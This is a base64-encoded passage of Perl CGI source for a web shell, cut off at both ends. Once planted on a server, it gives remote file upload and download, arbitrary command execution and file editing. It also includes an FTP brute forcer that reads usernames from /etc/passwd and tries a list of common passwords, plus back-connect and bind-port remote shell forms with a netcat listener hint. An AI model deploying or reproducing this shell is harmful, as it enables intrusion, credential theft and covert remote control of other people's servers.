Ow0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCXJldHVybiAmUHJpbnRGaWxlVXBsb2FkRm9ybTsNCg0KCX0NCglteSAkcmVzdWx0PSIiOw0KCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzDQoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOw0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7DQoJfQ0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50DQoJew0KCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkNCgkJew0KCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7DQoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsNCgkJCWNsb3NlKFVQTE9BREZJTEUpOw0KCQkJJHJlc3VsdCAuPSAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7DQoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQkkcmVzdWx0IC49ICJGYWlsZWQ6ICQhPGJyPiI7DQoJCX0NCgl9DQoJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCg0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCSRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKCRDdXJyZW50RGlyKTsNCglteSAkcmVzdWx0PSIiOw0KCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCgl7DQoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsNCgkJY2hvbXAoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsNCgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQ0KCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7DQoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQ0KCXsNCgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSRyZXN1bHQgLj0mUnVuQ21kOw0KCX0NCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJ1bkNtZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0Ow0KCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJfQ0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQNCgl7DQoJCSR8PTE7DQoJCSRDb21tYW5kIC49ICIgfCI7DQoJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pDQoJCXsNCgkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOw0KCQl9DQoJCSR8PTA7DQoJfQ0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcw0KCXsNCgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygkQ29tbWFuZCk7DQoJfQ0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZvcm0gU2F2ZSBGaWxlIA0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlRm9ybQ0Kew0KCW15ICRyZXN1bHQgPSIiOw0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nY29sb3I6IHllbGxvdzsnID4gQ2Fubid0IHdyaXRlIGZpbGUhPGZvbnQ+PGJyPiI7DQoJCSRyb3dzPSIyMCINCgl9DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCSRSdW5Db21tYW5kID0gImVkaXQgJFJ1bkNvbW1hbmQiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCg0KCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJkZpbGVPcGVuKCRGaWxlLDApKTsNCgkkcmVzdWx0IC49ICI8L3RleHRhcmVhPiI7DQoJJHJlc3VsdCAuPSAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZpbGUgT3Blbg0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIEZpbGVPcGVuKCQpew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJbXkgJGJpbmFyeSA9IHNoaWZ0Ow0KCW15ICRyZXN1bHQgPSAiIjsNCglteSAkbiA9ICIiOw0KCWlmKC1mICRmaWxlKXsNCgkJaWYob3BlbihGSUxFLCRmaWxlKSl7DQoJCQlpZigkYmluYXJ5KXsNCgkJCQliaW5tb2RlIEZJTEU7DQoJCQl9DQoJCQl3aGlsZSAoKCRuID0gcmVhZCBGSUxFLCAkZGF0YSwgMTAyNCkgIT0gMCkgew0KCQkJCSRyZXN1bHQgLj0gJGRhdGE7DQoJCQl9DQoJCQljbG9zZShGSUxFKTsNCgkJfQ0KCX1lbHNlDQoJew0KCQlyZXR1cm4gIk5vdCdzIGEgRmlsZSEiOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiMgU2F2ZSBGaWxlDQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpzdWIgU2F2ZUZpbGUoJCkNCnsNCglteSAkRGF0YT0gc2hpZnQgOw0KCW15ICRGaWxlPSBzaGlmdDsNCgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsNCglpZihvcGVuKEZJTEUsICI+JEZpbGUiKSkNCgl7DQoJCWJpbm1vZGUgRklMRTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJcmV0dXJuIDE7DQoJfWVsc2UNCgl7DQoJCXJldHVybiAwOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyIEZvcm0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCcnV0ZUZvcmNlckZvcm0NCnsNCglteSAkcmVzdWx0PSIiOw0KCSRyZXN1bHQgLj0gPDxFTkQ7DQoNCjx0YWJsZT4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPg0KU2ltcGxlIEZUUCBicnV0ZSBmb3JjZXI8YnI+DQpOb3RlOiBPbmx5IHNjYW4gZnJvbSAxIHRvIDMgdXNlciA6LVM8YnI+DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPg0KRU5EDQpjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOw0KJHJlc3VsdCAuPSA8PCdFTkQnOw0KPC90ZXh0YXJlYT48L3RkPg0KPHRkPg0KDQpQYXNzOjxicj4NCjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MNCjEyMyFAIw0KMTIzYWRtaW4NCjEyM2FiYw0KMTIzNDU2YWRtaW4NCjEyMzQ1NTQzMjENCjEyMzQ0MzIxDQpwYXNzMTIzDQphZG1pbg0KYWRtaW5jcA0KYWRtaW5pc3RyYXRvcg0KbWF0a2hhdQ0KcGFzc2FkbWluDQpwQHNzd29yZA0KcEBzc3cwcmQNCnBhc3N3b3JkDQoxMjM0NTYNCjEyMzQ1NjcNCjEyMzQ1Njc4DQoxMjM0NTY3ODkNCjEyMzQ1Njc4OTANCjExMTExMQ0KMDAwMDAwDQoyMjIyMjINCjMzMzMzMw0KNDQ0NDQ0DQo1NTU1NTUNCjY2NjY2Ng0KNzc3Nzc3DQo4ODg4ODgNCjk5OTk5OQ0KMTIzMTIzDQoyMzQyMzQNCjM0NTM0NQ0KNDU2NDU2DQo1Njc1NjcNCjY3ODY3OA0KNzg5Nzg5DQoxMjMzMjENCjQ1NjY1NA0KNjU0MzIxDQo3NjU0MzIxDQo4NzY1NDMyMQ0KOTg3NjU0MzIxDQowOTg3NjU0MzIxDQphZG1pbjEyMw0KYWRtaW4xMjM0NTYNCmFiY2RlZg0KYWJjYWJjDQohQCMhQCMNCiFAIyQlXg0KIUAjJCVeJiooDQohQCMkJCNAIQ0KYWJjMTIzDQphbmh5ZXVlbQ0KaWxvdmV5b3U8L3RleHRhcmVhPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4NCg0KPG9wdGlvbj4wPC9vcHRpb24+DQo8b3B0aW9uPjE8L29wdGlvbj4NCjxvcHRpb24+Mjwvb3B0aW9uPg0KDQo8b3B0aW9uPjM8L29wdGlvbj4NCjwvc2VsZWN0PiANCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIiLz48L3RkPjwvdHI+DQo8L2Zvcm0+DQo8L3RhYmxlPg0KRU5EDQpyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXINCnsNCglteSAkcmVzdWx0PSIiOw0KCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FERFInfTsNCglpZigkaW57J3VzZXInfSBlcSAiIikNCgl7DQoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJdXNlIE5ldDo6RlRQOyANCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsNCgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsNCgkJY2hvbXAoQHVzZXIpOw0KCQljaG9tcChAcGFzcyk7DQoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOw0KCQlmb3JlYWNoICR1c2VybmFtZSAoQHVzZXIpDQoJCXsNCgkJCWlmKCR1c2VybmFtZSBuZSAiIikNCgkJCXsNCgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpDQoJCQkJew0KCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBvciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyANCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQ0KCQkJCQl7DQoJCQkJCQkkcmVzdWx0IC49ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsNCgkJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQkJCWJyZWFrOw0KCQkJCQl9DQoJCQkJCWlmKCRpbnsnc2xlZXAnfSBuZSAiMCIpDQoJCQkJCXsNCgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pICogMTAwMCk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI+DQoNCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+DQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI2IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+DQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxMiIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJ2aW5ha2lkIj48L3RkPg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L